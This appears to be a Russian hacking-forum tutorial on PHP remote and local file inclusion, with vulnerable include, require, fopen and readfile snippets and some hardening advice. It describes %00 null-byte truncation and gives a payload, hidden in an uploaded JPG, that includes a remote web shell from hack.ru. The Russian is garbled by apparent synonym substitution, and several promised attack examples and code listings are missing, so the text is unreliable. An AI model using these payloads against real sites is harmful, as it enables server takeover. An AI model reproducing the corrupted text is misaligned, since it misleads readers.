Всем привет! В этой статье мы постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад всякий рецензенте, только схоже постараюсь дорабатывать со временем данную статью!
Глобальный инклуд
Наиболее опасная из уязвимостей веба, но к сожалению, либо к счастью встречается в наше пора крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On
Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код.
В PHP существуют четыре функции для включения файлов в сценарии PHP:
с помощью условия мы проверяем, ежели чрез url на сервер передается элемент массива $_GET['page'], то вызываем функцию include(). Из-за того, что значение массива $_GET['page'] никак не проверяется на существование, с помощью функции file_exists() злоумышленник может провести атаку:
В ином случае мы инклудим include($file.'.php'); Тут таже ситуация, просто запись кода мало другая. Переменная $file не
была определенна раннее также злоумышленник может выполнить удаленно php код:
Функция include_once() почти что никак не отличается от include(), за одним исключением: предварительно чем включать файл в программу,
она проверяет, никак не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, только ежели нет -
происходит стандартное включение файла.
PHP код:
<?php
include_once($file.'.gif');
?>
В этом образце к подгружаемому файлу автоматически приписывается расширение '.gif'
Избавиться от расширения '.gif' разрешено дублем способами:
1) ежели magic_quotes_gpc = Off то разрешено использовать "ядовитый ноль" - %00 какой отрежит расширение
Функция require() схожа include(), за исключением одного - файл, определяемый параметром require(), включается в
сценарий независимо от местонахождения require() в сценарии.
PHP код:
<?php
require($file);
?>
Атака аналогична, но в этом случае расширение никак не приписывается:
Функция require_once() загружает файл в сценарий всего один раз.
PHP код:
<?php
require_once($file.'.php');
?>
Атака аналогична...
Нынче рассмотрим иной вариация инклуда. На этот однажды необходимо, что б в файле php.ini
значение параметра allow_url_fopen было равно On, что также кушать по умолчанию.
PHP код:
<?php
$f=fopen("$file.php","r");
while (!feof($f))
{
$s=fgets($f,255);
echo $s;
}
fclose($f);
?>
Из-за того что переменная $file никак не была определена ранее, злоумышленник может произвести атаку:
Последующий образец - использование функции readfile()
PHP код:
<?php
readfile($file);
?>
Функция readfile() считывает файл, имя которого передано ей в качестве параметра, также выводит его содержимое на дисплей.
В итоге снова приобретаем веб-шелл:
с помощью функции implode() мы объединяем элементы массива в строку, только с помощью функции file() приобретаем содержимое файла в виде массива. В итоге снова владеем веб-шелл:
Несомненно разрешено проверять файл на существование с помощью функции file_exists() также отфильтровывать нежелательные символы с помощью str_replace(), но мы рекомендую использовать систему switch case:
PHP код:
<?php
global $page;
switch ($page)
{
case '':
include ("pages/main.php");
break;
case 'index':
include ("pages/main.php");
break;
case 'page1':
include ("pages/folder/page1.php");
break;
case 'page2':
include ("pages/folder/page2.php");
break;
default:
include ("pages/hack.php");
break;
}
?>
Так бла бла рекомендую отредактировать файл php.ini:
Цитата:
allow_url_include = Off //запрещаем удаленно инклудить файлы allow_url_fopen = Off //запрещаем fopen вскрывать ссылки register_globals = Off //отключим инициализацию глобальных переменных safe_mode = On //включаем safe_mode (у хеккера никак не станет доступа к /etc/passwd также ему подобным)
Локальный инклуд
Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с этой погрешностью веб-кодинга кидают занятие, т.к никак не знают как действовать дальше также в какую сторону копать. Я приведу всеобщий пример:
PHP код:
<?php
include("include/$file");
?>
Глобально проинклудить никак не получиться, т.к переменная $file приписывается позже каталога /include/
Что бла бла разрешено сделать?
Идеальным считается тот приключение, в какое время на сайте стоит либо форум либо иная вид, с помощью которой разрешено загрузить всякий файл c всяким расширением.
Начинается задача - только почему с всяким расширением? Возьмем к образцу выдуманный сайт на котором кушать возможность загрузки аватарки чрез форум. На форуме стоит скрипт, какой проверяет - истинно ли пользователь загрузил фотографию? Открываем paint также сохраняем любое изображение к образцу в формате jpg. После чего вскрываем его блокнотом также позже кода изображения строчим <?php include("http://hack.ru/shell.php"); ?> В итоге приобретаем примерно такую изображение:
Нынче такую картинку разрешено загрузить на форум также она станет воспринята именно как картинка
Вернемся к задаче о расширении. Почему нам подойдет любое? Дело в том, что функция include()
загружает код из одного файла в исполняемый файл. Вот пример:
В результате, в файле index.php выполняется код <?php include("http://hack.ru/shell.php"); ?>
Логи апатча
Как известно apache ведет лог-файлы httpd-access.log также httpd-error.log также все запросы
естественно логируются также пишутся в соответствующие файлы. Вот примерное их расположение:
А также так, что тут проистекает? Каждый элемент массива проверяется функцией stripslashes(). Она убивает бэкслеши. Далее проверяем установлено либо нет значение элемента массива. Отфильтровуем недопустимые символы('/', '.') функцией str_replace(). Если файла никак не существует (проверяем с помощью функции file_exists()) - присваиваем значение переменной $file='news'. В остальных случаях(когда файл существует) инклудим его.
***************************************
PS Все что описано в статье мы проверял на локалхосте. Уповаю каждый из нее черпанет чего-нибудь новенького также занимательного. Спасибо за забота